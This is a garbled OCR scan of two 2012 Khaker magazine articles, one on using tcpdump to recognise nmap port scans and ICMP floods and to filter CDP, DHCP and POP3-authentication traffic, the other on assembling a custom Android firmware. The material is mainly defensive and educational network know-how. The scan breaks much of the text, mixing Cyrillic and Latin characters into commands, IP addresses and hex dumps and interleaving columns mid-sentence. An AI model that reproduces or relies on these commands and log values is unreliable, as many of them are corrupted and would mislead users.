Н а р исунке 1 п оказано, как выглядит в л а гах tcpdump про цедура классическо го те Р-ска н ировани я порто в , осуществляемого с п о мо­

щью утил иты nmap. Хорошо видн о, ка к nmap с адреса 192.168.0.100

15 :49 :38 .719422 IP 192.168 . е . 1ее . 59624 > 192. 168 . е . 111 . 8888: Flags [5], seq 1365571е88, win 32792 , options [mss 1 +6396.sackOK.T5 val 94976812 есг e.nop . wscale 5], length е 15 :49 :38 .719425 IP 192.168.е . 111.8888 > 192. 168 . е . 1ее.59624: Flags [R.J. seq е. ack 1365571е89, win е, length е 15 :49 :38 .719435 IP 192.168.е . 1ее . 54946 > 192.168 .0.111.587 : Flags [5], s eq 2921975е21. win 32792 . options [mss 16 +396,sackOK,T5 val 94976812 есг e.nop . wsca le 5J, length е 15 :49 :38 .719438 IP 192.168 . е . 111 . 587 > 192 . 168 . 0 . 1ее . 54946 : Flags [R.J . seq е. ack 2921975е22 . win е. length 0 15 :49 :38.719449 IP 192 .168.0.100 . 43337 > 192. 168 .0.111. 22 : Flags [5], seq 2610е24277 . win 32792 . options [mss 163 +96 , sackOK.T5 val 94976812 есг 0,nop,wscale 5J, length е 15 :49 :38 .719457 IP 192 . 168 . е . 111 . 22 > 192.168.е.100.43337: Flags [5. ] , seq 34967е7239. ack 261ее24278, win 32768, + options [mss 16396,sackOK,T5 val 94976812 есг 94976812 .nop.wscale 5] , length 0 15 :49 :38 .719463 IP 192 . 168 . е.100.43337 > 192 . 168 . е . 111.22 : Flags [ . J. ack 1. win 1025, options [nop,nop,T5 val 94 +976812 есг 94976812], length е 15 :49:38.719883 IP 192.168 . е . 10е . 4е887 > 192 .168.0 . 110.111: Flags [5], seq 4е72646806 , win 32792 . options [mss 16 +396.sackOK.T5 val 94976812 есг e,nop,wscale 5J, length 0

Рис 1. Классическое ТСР-сканирование

ХАКЕР 01 /156/2012 109

Page 112: haker

UNIXOID

16:30:16.611690 IP 192.168.0.100.48585 > 192.168.0.111.135: Flags [5], seq 1679394613. win 4096, options [mss 146 +0], length 0 16:30:16.611700 IP 192.168.0.111.135 > 192.168.0.100.48585: Flags [R.]. seq 0, ack 1679394614. win 0. length 0 16:30:16.611715 IP 192.168.0.100.48585 > 192.168.0.111.8080: Flags [5], seq 1679394613. win 3072, options [mss 14 +60]. length 0 16:30:16.611724 IP 192.168.0.111.8080 > 192.168.0.100.48585: Flags [R . J. seq 0, ack 1679394614. win 0. length 0 16:30:16.611738 IP 192.168.0.100.48585 > 192 .168.0.111 .23: Flags [5], seq 1679394613. win 2048. options [mss 1460 + ]. length 0 16:30:16.611748 IP 192 .168.0.111 .23 > 192.168.0.100.48585: Flags [R .], seq 0, ack 1679394614, win 0, length 0 16:30:16.611763 IP 192.168.0.100.48585 > 192.168.0.111.22: Flags [5], seq 1679394613, win 4096. options [mss 1460 + ], length 0 16:30:16.611789 IP 192.168.0.111 .22 > 192.168 .0.100.48585: Flags [5 . ], seq 625029896. ack 1679394614. win 32792. +options [mss 16396], length 0 16:30:16.611798 IP 192.168.0.100.48585 > 192.168.0.111.22: Flags [R], seq 1679394614. win 0, length 0 16:30:16.611816 IP 192.168.0.100.48585 > 192.168.0.111.111: Flags [5], seq 1679394613. win 1024, options [mss 146 +0], length 0

Рис 2. Скрытое SУN-сканирование

пытается установить ТСР-соединение с разными портами, посылая

SYN-naкeт (5 в поле флагов). Сначала идет проверкапорта 8888, в ответ на которую приходит RST-naкeт. Это значит, что порт не

проелушивается ни одним сервисом. Далее выполняется проверка

порта 587 с тем же результатом. Наконец, nmap посылает SYN-naкeт на 22-й порт (SSH) и получает ответ в виде па кета SYN-ACK:

192.168.е.1ее.43337 > 192.168.е.111.22: Flags (5], seq 2ыее24277, ... 192.168.е.111.22 > 192.168.е.1ее.43337 : Flags (5.], seq 34967е7239, ack 261ее24278, .. . 192.168.е.1ее.43337 > 192.168.е.111.22: Flags (.], ack 1,

Порт открыт, и теперь nmap может успешно закрыть соединение, отправив RST-naкeт, и перейти к следующим портам. Однако она

поступает умнее: подтверждает, что приняла АСК-пакет, и сразу

переходит к следующим портам. Такой способ позволяет обойти не­

которые системы обнаружения вторжений, но человека, вооруже н­

ного снифером, так nросто не проведешь.

Обрати внимание также на номера перебираемых портов: они не

генерируется рандом но , а nодбираются с учетом наибольшей распро­

страненности. Это значит, что производится быстрое сканирование, а

точнее, что nmap, скорее всего, запущена вообще без флагов. Теперь рассмотрим другой метод обнаружения открытых портов:

SУN-сканирование (nmap -sS). Такое сканирование принято назы-

ТРЮК С ЗАХВАТОМ RТМР-ПОТОКА

Некоторые веб-сайты, например tv.adobe.com, используют nротокол RTMP для передачи потокового видео. Сохранить такое видео в файл обычными средствами не получится, однако tcpdump нас с пасет. Чтобы вычленить из сетевоготрафика все ссылки на RТМР-поток, воспользу­

емся следующей командой:

# tcpdump -eflAi ethe -s е -w - 1 strings 1 \ grep -ао "rtmp://.\+.flv"

Далее ссылки можно скормить утилите гtmpdump (l kc l. net/гtmp ) и по­

лучить flv-видео на жестком диске:

$ ./rtmpdump -r 'URL' -о файл.flv

110

вать скрытым, потому что в его процессе ТСР-соединение никогда

не открывается полностью, а з начит, информация о том, что оно

было установлено, не попадает в лаги. Вывод tcpdump для такого вида ска нирования nредставлен на рисунке 2. Он очень похож на лог обычного теР- сканиро вания , однако здесь сканер по-другому

реагирует на открытые порты :

192.168.е.1ее.48585 > 192.168.е.111.22 : Flags (5], seq 1679394613, ... 192.168.е.111.22 > 192.168.е.1ее.48585: Flags (5.], seq 625е29896, ack 1679394614, ... 192.168.е.1ее.48585 > 192.168.е.111.22: Flags [R], seq 1679394614, ...

Видно, что, когда ска нер получает подтверждение в виде па кета

SYN-ACK, он не завершает установку соединения, а сразу обрывает его, чтобы ничего не попало в лаги . На рисунке 3 можно видеть ре­зультат UDР-сканирования. Здесь все очень просто: nmap переби­рает порты с возможными UDР-сервисами , посылая на каждый из

портов пакет нулевой длины. Если порт закрыт, ОС посылает в ответ

сообщение ICMP unгeachaЫe:

16 : 41 : 48.79831е IP 192.168.е.1ее.61е2е > 192.168.е.111.18869: UDP, length е

16:41:48.798346 IP 192.168.е.111 > 192.168 . е.1ее: ICMP 192.168.е.1ее udp port 18869 unreachaЬle, length 36

В противном случае порт считается открытым.

Еще один метод сканирования- пull-сканирование, осу­

ществляемое путем отправки па кетов, не содержащих ни одного

устано вленного флага (nmap -sN). В зависимости от используемой ОС, реакция на такие пакеты может быть разной. Как видно из при­

ееденного листинга, Linux в ответ на них посылает RSТ-пакеты:

192.168.е.1ее.39132 > 192.168.е.111.256: Flags (], win 3е72, length е 192.168.е . 111.256 > 192.168.е.1ее.39132: Flags (R.],

При Хmаs-сканировании отсылаются пакеты с установленны­

ми флагами FIN, URG и PUSH (из-за флагов пакет будто сияет, как НОВОГОДНЯЯ елка):

192.168.е.1ее.35331 > 192.168.е.111.5544: Flags (FPU], seq 39989596е1, win 4е96, urg е, length е 192.168.е.111.5544 > 192.168.е.1ее.35331: Flags [R.], seq е, ack 39989596е2

Как видно, реакция на такие пакеты идентична. При АСК-

ХАКЕР 01/156/2012

Page 113: haker

Фильтруй эфир!

16:~1:~8.798310 IP 192.168.0.100.61020 > 192.168.0.111.18869: UDP, length 0 16:~1:~8 . 7983~6 IP 192.168.0.111 > 192.168.0.100: ICMP 192 .168 .0.100 udp port 18869 unreachaЬle, length 36 16:~1:~8.798371 IP 192.168.0.100.61020 > 192.168.0.111.31335: UDP, length 0 16:~1:~8.79838~ IP 192.168.0.111 > 192.168.0.100: ICMP 192.168.0.100 udp port 31335 unreachaЬle, length 36 16:~1:~8.798~00 IP 192.168.0.100.61020 > 192.168.0.111.50919: UDP, length 0 16:~1:~8 . 798~12 IP 192.168.0.111 > 192.168.0.100: ICMP 192.168.0.100 udp port 50919 unreachaЬle, length 36 16:~1:~8 . 798~29 IP 192.168.0.100.61020 > 192.168.0.111.5~11~: UDP, length 0 16:~1:~8.798~~1 IP 192 .168 .0.111 > 192.168.0.100: ICMP 192 .168.0 .100 udp port 5~11~ unreachaЬle, length 36 16:~1:~8.798~56 IP 192 . 168 .0.100.61020 > 192.168.0.111.6971: UDP, length 0 16:~1:~8.798~67 IP 192.168 .0.111 > 192.168.0.100: ICMP 192.168.0.100 udp port 5971 unreachaЬle, length 36 16:~1:~8.798~83 IP 192.168.0.100.61020 > 192.168.0.100.19663: UDP, length 0 16:~1:~8.798~95 IP 192.168 .0 .111 > 192 .168.0 .100: ICMP 192.168.0.100 udp port 19663 unreachaЬle , length 36 16:~1:~8.798510 IP 192.168.0.100.61020 > 192.168.0.111.1950~: UDP, length 0 16:~1:~8 . 798522 IP 192.168.0.111 > 192.168.0 .100: ICMP 192.168.0.100 udp port 1950~ unreachaЬle, length 36

Рис 3. UDР-сканирование

сканировании 1-sA) лаги tcpdump фиксируют отправку множества па кетов с установленным флагом АСК и отправку в ответ на ни х

па кетов RST. Однако, если в системе установлен брандмауэр,

ответных сообщений приходить не будет, и nmap сможет понять ,

фильтруется ли порт. С помощью tcpdump можно также отследить и ра зличные виды флуда , например, классический IСМР-флуд будет

выглядеть в лагах следующим образом:

16 : 43 : 06.008305 IP 192.168.0 . 100 > 192.168.0.111 : ICMP type-#68, length 1032 16:43:06 . 008383 IP 192.168.0.100 > 192.168.0.111 : I~MP

type-#34, length 1032 16:43:06.008714 IP 192.168.0.100 > 192 . 168.0.111: ICMP type-#183, length 1032 16:43:06.008831 IP 192.168.0.100 > 192.168.0.111: ICMP type-#192, length 1032

Особую важность здесь имеет поле, в котором указано время,

когда был принят пакет. Ни одно нормальное приложениене будет

слать множество IСМР-сообщений в течение одной тысячной секун­

ды . Другие виды флуда !например , SYN) выявляются точно таким же об ра з ом.

ВЗАИМОДЕЙСТВИЕ С ДРУГИМИ ПРОГРАММАМИ Одно из самых важных достоинств tcpdump заключается в том, что формат его отчетов за время существования программы фактиче­

с ки стал стандартом для всех сниферов, и сегодня его понимают

все более или менее серьезные инструменты анализа трафика.

Например, tcpdump можно использовать для генерации дампа на удаленной машине, а затем отправить его на локальную и провести

анализ с помощью Wiгeshaгk:

$ ssh [email protected] tcpdump - w - 'port !22' \ 1 wireshark -k -i -

Здесь мы использовали опцию '-w -·для записи дампа в стан­дартный вывод и перенаправили его анализатору Wiгeshaгk , рабо­

тающему на локальной машине. Таким же образом можно провести

анализ трафика с помощью Sпогt:

$ ssh [email protected] "tcpdump -nn -i eth1 -w -" \ snort -с /etc/sпort/snort.conf - r -

Перенаправив вывод программы на вход gгер, можно выявить

различные проблемы в работе сети, например найти пакеты с не­

правильной контрольной суммой:

# tcpdump -nnvv -r dump.cap tcp \ grep -v "tcp sum ok" 1 wc -1

ХАКЕР 01/ 156/2012

17:48:58 .999718 IP 192.168.В.НИ.43949 > 173.19<:1.32. 18.00: Flags IP.J, seq 1835416245:1835417611, ack 387вве8972. ~o~ln 557. opt lons [nop,Г~QJJ,TS val 9697~96 есг 7652175631, Jength 1366

,,

Вх8000: 4SEIB BSSa 9е79 4000 4006 8813 с8а8 0065 Е ... . ~.IJ . . exeete: adc2 2812 аьаd oose бdбб заьs е731 ed8c .. P•f: .. l .. ехевzе: веtв B22d 29ВЬ ооее ete t В86а вsс7 с64В ... -) ..... ..... m 8)(8830: 2d9c t1Ь1Ь t:f745 5420 2f28 4854 5450 2f31 -.К.GЕТ .!.НТТР/1 ftx8840: 2ез1 ВсJВа t:!Эбf 7374 За29 1тп 772е 67бf .1 .. Но!>t: . ldW~o~ . go Вх8В50: бfб7 бс:бS 2е6З бfбd ВdE'Ia 43бf бебе 6563 og l e.com .. Comec ВхВВбе: 7469 бfбе 3а20 бЬбS 6578 2d61 бс69 7665 t lon: .keep-allve ВхВВ?О: Вd0а 4361 6368 б52d 4Збf бе74 726f Бс3а .. Cache-Contro l : ехевоо: 296d 6178 2dбl 6765 ЗdЗВ Bd0a 5573 6572 .max-age=B .. User Вх8В90: 2d41 6765 бе74 3а20 <'k:lб f 7аб9 бсбс б12f -Agent: . мoz l llat ЕЬ<ВВае: 352е 3028 2858 3131 ЗЬ2В 4с69 бе75 7920 5 . 8. СХН: .Ltnux . ех0вье: 7838 365f 3634 2920 417В 70бс 6557 6562 х86_б4) .Rpplei-Jeb Вх8ВсВ: ~9 742f 3533 352е 312В 284) 4854 4d4c Klt/S35. 1 .CKHTМL ОхВВdВ: 2с20 6сб9 6Ь65 2847 6563 6Ьбf 2920 4368 , . llke.Gecko) .Ch ехееее: 726f 6dбS 2f31 342е 302е 3833 ЗS2е 3230 г011еt 1 4 . В.В35 .2е Oxe8f8: 3220 5361 6661 7269 2f35 3335 2е31 ВdВа 2.5ataгltSЗS.I .. 0х8 1 00: 4163 6365 7е74 3а2В 7465 7874 2 f68 746d Rccept: . text/htr~

ехе110: Бс2с 6170 ?ебс 6963 6174 696f бе2f 7868 l ,app l lcatlon/xh Вх0 12е: 74бd бс2Ь 78бd Бс2с 6178 7Вбс 6963 6174 tml+xlll.appllcat Вх1П38: 696f 6e2 f 78бd БсЗЬ 713d 3В2е 392с 2a2f l ontx•l:Q=8.9 . м/ Вх8140: 2а3Ь 71Зd 3е2е 38Вd 8а4 1 6363 6570 742d •:q=0.8 .. Rccept­OxelSВ: 456е 6Збf б469 бе67 3а20 6Т7а 6970 2с64 Encodlng: .gzlp,d Вх016В: 6566 бсбl 7465 2с73 6463 бВВd Вi141 6363 eflate.Sdch .. Асс Вх8170: 6570 742d 4с:б1 беб7 7561 6765 За2В БSбе ept-Language : . en 0хВ18В: 2d55 532с бSбе ЗЬ71 ЗdЗВ 2е38 ВdВ<'I 4163 -US,en:q=0.8 .. Rc 8:.<8190: 6365 7!f74 2d43 б861 7273 6574 3а20 4953 cept -Charset: . 15 exetao: 4f2d звзв 3539 2dЗ1 2с75 7466 2d38 ЗЬ71 o-8859- l,utf-B; q

Заnрос к google.com в лагах tcpdump

АДМИНСКИЕ ШТУЧКИ Фильтрацию па кетов по данным, содержащимся в заголовке,

которую мы рассмотрели в начале первого раздела, очень удобно

использовать для отладки различных протоколов и поиска сетевых

проблем. Например, мы можем применить ее для отлова сетевых

па кетов, передаваемы х по протоколу Cisco Discoveгy Pгotocol , с

помощью которого маршрутизаторы Cisco обмениваются информа­ци ей о топологии и состоянии сети:

# tcpdump -nn -v -i eth0 -s 1500 -с 1 \ 'ether[20:2] 0х2000'

Таким же образом можно отловить все пакеты , передаваемые

по протоколу DHCP IDISCOVER, REQUEST, INFORMI, чтобы выявить проблемы подключения клиентов:

# tcpdump -i eth0 -vvv -s 1500 '((port 67 or \ port 68) and (udp[8:1] = 0х1))'

Или поймать пакеты, передаваемые при РОРЗ-аутентификации:

# tcpdump -i eth0 "tcp port рор3 and ip[40] = 85 \ and ip[41] = 83" -s 1500 -n

l:i§!:I•Шi В руках знающего пользователя tcpdump превращается в мощней­ший инструмент, который можно использовать не только для от­

ладки, но и для исследования аномалий. Богатый набор операторов

и флагов позволяет вытащить из сетевого эфира и исследовать то,

что действительно нужно . ::Х:

111

Page 114: haker

СОЗДАЕМ ANDROID-ПPOWИBKY ИЗ ПОДРУЧНЫХ МАТЕРИАЛОВ

l'' ., Любой пользователь Andгoid _____ ...J

имеет свое представление о

том, как должна выглядеть

операционная система

как ф ' ие ункции выполнять

goo.g!I!IHRo набор советов по изменению

fгamewoгk-гes.apk.

goo .gi/Пvz8 простая анимация

загрузки с

логотипом Andгoid .

2. 3. •

и какой набор ПО в ней

должен быть установлен по

умолчанию. Однако далеко

goo.gi/Ya!IX ­анимация загрузки с

nлазменным кругом .

П ервый способ является наибол однако он зачастую требу ее п ра в ил ьным и гибким 11 ностях Android и умения р:~~~~:аточ н о глубоких з на ний об ~собе н ­чтобы они после этого работали ~:вать и_сходники системы так, не все знают, что создать

собственную прошивкуне так

уж сложно . Для этого совсем

не обяза_тельно разбираться

в ядре L~nux, уметь

компи_лировать исходники

Andгold или понимать , как устроен смартфон .

goo.gi/P6JR анимация загруз ки в

стиле IBM РС .

goo.g!lsGXwa анимация загруз ки

Andгoid Honeycomb.

за рамки нашей статьи, поэтом сб ус т роистве . Эта тема выходит рассматр ивать не буд е У орку исходн иков Andгoid .. м, а оста нов и м , .. ы точ н ее на третьем. с я н а двух дру гих с п особах

Сторонн ие прошивки (так назы в ' чески для любого Аndгоid-устройст а емы е моды ! сущес твуют практи-рынок прошла хотя бы неделя Об ва, с момента выхода которого на необходимые модификации н~об ыч но они уже включают в себя все прошивки на коммуникатор~ а п ходимые для ко рректной работы nл ощадку для экс п ериме нта ~ н а~тсому п ре~ставля ют собой отличную ва ть п рактически до неуз навае мости с темои. И х м ожн о модифи ци ро-П О, изменять ее внешний обл ик и, включать в соста в ОС любое вых настроек с помощью просто' созда в ат ь множество низкоуровн е-менеджер

3 го текстового ре да а. т и действия не требуют б к тора и файлового

выполнены любым читателем жур нал~у о к их з наний ОС и могут быть

Page 115: haker

Моды анимации загрузки с xda-developeгs

ВЫБИРАЕМ ПОДОПЫТНОГО Итак, предположим, что наш коммуникатор уже зарутован

и в загрузочную область записана консоль восстановления

C l ockwoгkMod , позволяющая устанавливать на аппарат любые про­

шивки без всяких ограничений lo том, как это сделать, мы писали в стат ь е «Тотальное подчинение», опубликованной в октябрьском

номере ][J. Теп ер ь мы хотим устано ви т ь на устройство другую прошивку, да н е абы какую, а с собстве н ными модификациями,

настройками и набором ПО . П оэтому нам нужен каркас, а именно

чужая прошивка, стабильно работающая на нашем устройстве. Где ее взять?

Главное место обитания всех ромоделов- это, конечно же,

форумы xda - developeгs . com. Та м можно найти все что угодно для

коммуникаторов, работающих под управлением iOS, Windows Mobile, Windows Phone и Andгoid. Открываем сайт в браузере, жмем на раздел Foгums и ищем в списках форумов свой ком­

муникатор. Далее заходим в соответствующий раздел Andгoid

Development и внимательно про сматр иваем с пи сок тем, содер ­

жащих в названии с лов о «IROM] >>. Лучше найти какую-нибудь чистую прошивкус названием вроде << Р uге And г oid 2.3 Rom>> или порт CyanogenMod, хотя, в сущности, подойдет и любая другая !правда, возможно, придется отменять авторские изменения!. От­

крываем тему, проматываем первый пост, находим где-то в конце

ссылку на скачива ни е и загружаем ROM на свой комп. Теперь файл прошивки нужно вскрыть . Делается это с помощью

самого обычного unzip:

$ mkdir -/ rom; cd -/rom $ unzip . . / путь/до/ прошивки.ziр

ОБЩАЯ СТРУКТУРА КАТАЛОГОВ И ВАЖНЫЕ ФАЙЛЫ На бор файлов и каталогов, образовавшийся в результате вы­

п олн е ния предыдущей команды, и есть, в су щно сти, о п ера ци­

онная систем а Andгoid, причем ровно в том виде, в каком она

будет размещена в NАND-памяти устройства. В зависимости о т

версии Andгoid и фантазии автора, она может содержать разные

наборы каталогов и файлов, однако в ней всегда присутствуют

три обязательных объекта: META-IN F, файл boot.img и директо­рия system.

Первый каталог содержит метаинформацию о прошивке,

включая файлы сертификатов автора, манифест со с пи ском

файлов и их ко нтрольными суммам и , а также скрип т об новл ения,

который может создавать в NАND-памяти новые файлы , мен ят ь

права доступа и выводить прогресс-бар, который видят пользо­

ватели во время установки прошивки.

Файл boot.img содержит загрузочный образ, который вклю­чает в себя ядро Linu x и образ initгd. Его можно распаковать, однако для нас он не несет особой пользы, так как почти любые

системные параметры можно изменить с помощью файлов на­

строек и файловой системы /ргос. Если же тебе требуется ядро,

собранное с особыми параметрами, например с акти в ированным

планировщиком BFS или поддержкой NFS, то почти наверняка е г о можно найти на том же xda-developeгs и прошить с помощью

ClockwoгkMod.

Наконе ц, каталог system - зто то, ради чего все и зате вал ось.

Содержимое это г о ка талога и пр едставляет собой операционную

систему Andгoid без ядра Linux. Он содержит все, что нужно для работы ОС, а потому знать его структуру просто необходимо. Вы­

глядит она так:

• арр- предустановленные приложения : телефон, калькулятор,

календарь и т. д.

Ьin -аналог каталогов /Ьin и /usг/Ьin в Linux. Содержит различ­ные системные компоненты, используемые более вы сокоуров­

невыми компонентами системы. Например, именноздесьлежит

виртуальная машина dalvikvm. • еtс- файлы настроек. Полный аналог/еtс в Linux, используе­

мый , однако, только систем ными компонентами. Приложения

Andгoid хранят настройки в катал оге /data/data. • fonts- шрифты. По умолчанию содержиттолькофирменные

шрифты Dгoid !или Roboto в Andгoid 4.01 . • framework- наборы Jаvа-классов , используемые системой и

Апdгоid- с офтом . Тут же лежит файл fгamewoгk-гes.apk, содер­

жащий полное описание интерфейса операцио нной системы,

включая все графические файлы.

lib- Linuх - библиотеки, используемые низкоуровневыми

компонентами системы. Аналог каталогов /lib и /us г/lib в Linu x, включаеттакие стандартные библиотеки, как libc !правда, Andгoid использует собственную Bionic вместо Glibcl, libz lgz iр ­

шифрованиеl, libss l и другие. media- медиафайл ы: рингтоны, звуки уведомлений , звуки

интерфейса и файлы анимации загрузки ОС.

• tts- файлы , необходимыедля работы синтезатора речи.

usr- необязательный каталог, который обычно содержит фай ­

лы , необходимые для работы софтин из катало га Ьin. По сути,

аналог /usг/shaгe. • vеndоr- файлы, поставляемые пр оизводителем аппарата.

Обычно содержит бинарную fiгmwaгe для различных <<же лез ­

ных >> компонентов, например модуля Wi-Fi. • xbln - необязательный каталог, который содержит все, что не

вошло в Ьin . Как правило, используется для хранения полезных

утилит, тем не менее необязательныхдля работы системы ltop, текстовый редактор!. CyanogenMod использует е го для хране ­ния инструментов администрирования: bash, ssh, poweгtop, busybox и т. д .

build.prop- фaйл, содержащий информацию о сборке, а также

различные низкоуровневые настройки.

СОБСТВЕННЫЙ НАБОР ПО Каталог /system/app соде рж ит все предуста н овл е нное в проши вку ПО . Удаляя и добавляя пакеты в этот каталог, мы можем изменить

набор приложений, доступных <<ИЗ коробки>> . Напр имер, ни для

кого не секрет, что стандартный ланчер Andгoid lда и ADWLauncheг в CyanogenModl тормозит и имеет многочисленные недостатки. ОК, заменим его на LauncherPro lwww.launcherpro.com l:

Page 116: haker

rm system/app/Launcher.apk wget goo.gl/U9c54 -о system/app/LauncherPro.apk

И это все. Не надо ничего устанавливать, не надо нигде ковы­

ряться, nросто закидываем нужное nриложение вкаталог-и

готово. Даже имя не имеет значения, Andгoid сам найдет нужное

nриложени.е и установит его в качестве домашнего экрана . Таким

же образом можно nоместить в nрошивку любую другую nрограм­

му или удалить ее оттуда.

Полезно nоместить в nрошивку одно из nриложений для nо­

иска утерянного смартфона !наnример, ргеуi , тогда даже в случае сброса до заводских настроек оно останется в ОС и будет рабо­

тать. Также можно заменить некоторое системное ПО, наnример

добавить Dialeг One вместо стандартного Phone.apk или Go SMS вместо sms.apk.

Как насчет системных Linuх-nриложений, наnример ssh­cepвepa или mc? Здесь тоже все nросто. Собрать софтину для Andгoid и nроцессара ARM можно с nомощью комnлекта NDK от Google, но большинство нужных nриложений уже собрано до нас. Наnример, мы хотим nредустановить mc в свою nрошивку. Идем на xda-developeгs и выnолняем nоиск по заnросу Midnight Commandeг. На n ервой же странице находим арk-nакет с установ­

щиком lgoo.gi/Pax1 Hl и расnаковываем его с nомощью все того же unzip:

$ cd /tmp; unzip -/Nativnuxinstaller_l.l.apk

Видим в сnиске расnакованных файлов assets/kits/mc-4.7.5.4-aгm.taг.jet . Это архив taг. gz, который расnаковывается в корень

системы nосле установки арk-nакета la точнее, nосле установки apk, заnуска nриложения и нажатия кноnки lnstalll. Мы можем сразу расnаковать его в нашу nрошивку и nолучить nредустанов­

ленный mc:

$ cd -/rom $ tar -xzf /tmp/assets/kits/mc-4.7.5.4-arm.tar.jet

Теперь для запуска файлового менеджера на устройстве до­

статочно открыть терминал и набрать mc. Другие приложения могут распространяться в ziр-архивах для nрошивкис помощью

ClockwoгkMod Recoveгy. Поместить их в свой мод еще проще, для

этого достаточно перейти в корень прошивки lв данном случае -/гoml и расnаковать архив с помощью uпzip.

ВНЕШНИЙ ОБЛИК Собственную прошивку чаще всего создают для того , чтобы

изменить внешний облик Andгoid по своему вкусу . Проделать

эту оnерацию в Andгoid, опять же, очень просто . Все настройки

графического интерфейса Andгoid хранятся в файле fгamewoгk/ fгamewoгk-гes . apk . Его можно распаковать с помощью утилиты

apktool:

cd -; wget goo.gl/hxzSl tar -xjf apktool1 .4.1.tar.bz2 cd -/rom/system/framework java -jar -/apktool.jar d framework-res.apk

В результате в текущем каталоге должен появиться каталог

fгamewoгk-гes, содержащий все файлы па кета. Наиболее интерес­

ные подкаталоги в нутри него- это геs/dгаwаЫе-* и гes/layout-* Первый содержит все графические элементы в виде рng-файлов

для разных разрешений и положений экрана . Например, dгawaЫe­

land-mdpi- это каталог с графическими ресурсами для экранов среднего разрешения, находящихся в горизонтальном положении

lво время nоворота экрана ОС nереключается на исnользование других файлов!. Разумеется, любой файл можно отредактировать

КОМАНДА SETPROP

Приведенные в статье настройки build . pгop можно nрименить и в

уже работающей системе с nомощью команды setpгop:

# setprop debug.sf.nobootanimation 1

Каталоги layout содержат описания графических элемен-тов в формате XML lна самом деле они хранятся в бинарном формате AXML, но apktool nреобразовал их в обычный XMLI. Формат описания достаточнопрости nонятен, но с наскоку с ним

разобраться трудно, особенно если не знать, где что находит-

ся . П оэтому мы снова обратимся к услугам обитателей форума

xda-developeгs, которые уже успели nридумать массу различных

модификаций для графического интерфейса Andгoid. Их легко

найти с помощью поискового запроса <<fгamewoгk-гes mod имя_устройства>>.

Обычно такие моды распространяются в виде готового файла

fгamewoгk-гes.apk , который можно просто положить в свою про­

шивку. Если же ты хочешь найти конкретные отличия в содержи­

мом, то мод можно распаковать и сравнить с твоим fгamewoгk-гes

с nомощью diff:

$ diff -R -/framework-res \ -/rom/system/framework/framework-res

К сожалению, в рамках одной статьи мы не можем рассмотреть

хотя бы часть вн утреннего устройства fгamewoгk-гes, поэтому за

более подробной информациейобращайсяк соответствующей

теме форума 4PDA: goo.gl/t iH Ro. После внесения модификаций можно собрать fгamewoгk-гes.apk

с помощью все того же apktool. Однако для этой оnерации требуется утилита aapt из комплекта Andгoid SDK, которую apktool исnользует для окончательной упаковки арk-файла. Ее можно получить и от­

дельно:

$ cd -/bin; wget goo.gl/tC7k8

Теперь можно собрать файл:

$ cd -/rom/system/framework $ java -jar -/apktool.jar Ь framework-res $ер framwork-res/dist/framework-res.apk $ rm -rf framework-res

Следующий этап- это изменение анимации загрузки. Она хра­

нится в виде обычных рng-файлов, упакованных в архив system/ media/bootanimation.zip. Распакуем его:

$ cd /tmp $ mkdir bootanimation; cd bootanimation

СОБСТВЕННУЮ ПРОШИВКУ ЧАЩЕ

ВСЕГО СОЗДАЮТ ДЛЯ ТОГО, ЧТО&Ы

ИЗМЕНИТЬ ВНЕШНИЙ О&ЛИК ANDROID ПО СВОЕМУ ВКУСУ

• 11

Page 117: haker

ClockworkMod Recovery: кастомное меню восстановления для Android

$ unzip -/rom/system/media/bootanimation.zip Внутри находится файл desc.txt, оnисывающий анимацию в сле­

дующем формате:

Ширина Высота FPS р Порядок Пауза Каталог

Стандартный вид этого файла:

4Se see зе р 1 е parte р е е partl

Это значит, что изображение имеет размер 480 х 800, а ско­рость смены изображений IFPSI составляет 30 штук/с . Далее идет оnисание nервой части анимации, файлы которой находятся

в каталоге рагtО. Она nроигрывается один раз !цифра 1 nосле pl. Следующая часть lpaгtll nроигрывается бесконечное число раз, nока апnарат не загрузится. Обычно каталог рагtО содер­

жит изображения , соответствующие nервой части анимации, а

рагtО- все остальные изображения, которые nроигрываются в

цикле. Сами изображения должны быть одинакового размера, а

их названия должны содержать числа в возрастающем nорядке,

наnример 0001 .png, 0002.png и т. д. Так как анимация загрузки имеет очень nростой формат, ее

довольно легко сделать. Достаточно nреобразовать видеоролик

в рng-изображения с n омощью mencodeг lв desc.txt необходимо

# system.prop fог geпeric sdk #

г 1d.1 ibpoth; / system/ 1 iЬ/1 ibгi 1switch.so г lswi tch. vendoгl ibp~th;/system/ 1 iЫ l ibгi 1-nюto-umts-1. so г lswi tch . g~nl i bp~th=/system/ l iЫ 1 ibg~nг i l. so г 1d. i iboгgs;-d /dev/t tySB

го . sf. icd_dens i ty;2~B

# Default net1a10rk type. # ~ ;} COtfl 1 EVOO. го . te lephony. defaul t _network=З

wifi . interface = tiwlanB # Тime bet~.~Jeen scans in seconds. Кеер it high to minimize battery dгain. # Тhis only affects the case in ~ich there аге геmеmЬегеd access points, tl but поnе аге in гange. wifi .supplicent_scan_interva l = 15

# The OpenGL ES АР! 1eve1 that is native1y suppoгted Ьу this device. # Тhis is а 16.16 fixed point nuпtэег .o .opengles .veгsion = 131872

Стандартный build.prop для Motorola Defy

выставить з начение FPS 241:

$ mplayer -nosound -vo png:z=9 video.avi

Но и зто будет лишним. Участники форума xda-developeгs

наделали столько анимаций, что необходимость работы руками

отnадает вовсе. Ссылки на интересные анимации nриведеныв

конце статьи.

НИЗКОУРОВНЕВЫЕ НАСТРОЙКИ Последнее, о чем я хотел бы рассказать в статье,- зто редак­

тирование низкоуровневых настроек. В Android для это го есть файл system/build . pгop, который хранит информацию о сборке

nрошивкии настройки для конкретных устройств. Добавив в этот

файл те или иные строки, можно изменить функционирование

Andгoid, ускорить его работу или уменьшить расход батареи. Ниже

приведены наиболее интересные настройки.

1. Заnрет выгрузки рабочего стола из nамяти:

ro.HOME_APP_ADJ=l

Оnция nозволяет сделать работу с устройством более удобной

за счет мгновенного достуnа к рабочему стол у в любое время .

Не рекомендуется исnользовать для устройств с малым

объемом nамяти.

2. Повышение качества сохраняемых JРG-файлов:

ro.media.enc.jpeg.quality=lee

Позволяет сделать снимки камеры более четкими, но суще­

ственно nовышает нагрузку на ЦП.

3. Отключение анимации за грузки для ускорения загрузки оnера­

ционной системы:

debug.sf.nobootanimation;l

4. Возложение части работы по отрисовке интерфейса на GPU:

debug.sf.hw=l

Позволяет сделать интерфейс более быстрым и nлавным .

5. Блокировка извещения об активном режиме отладки !nри nод­ключении к комnу с nомощью USBI:

persist.adb.notify=e

Page 118: haker

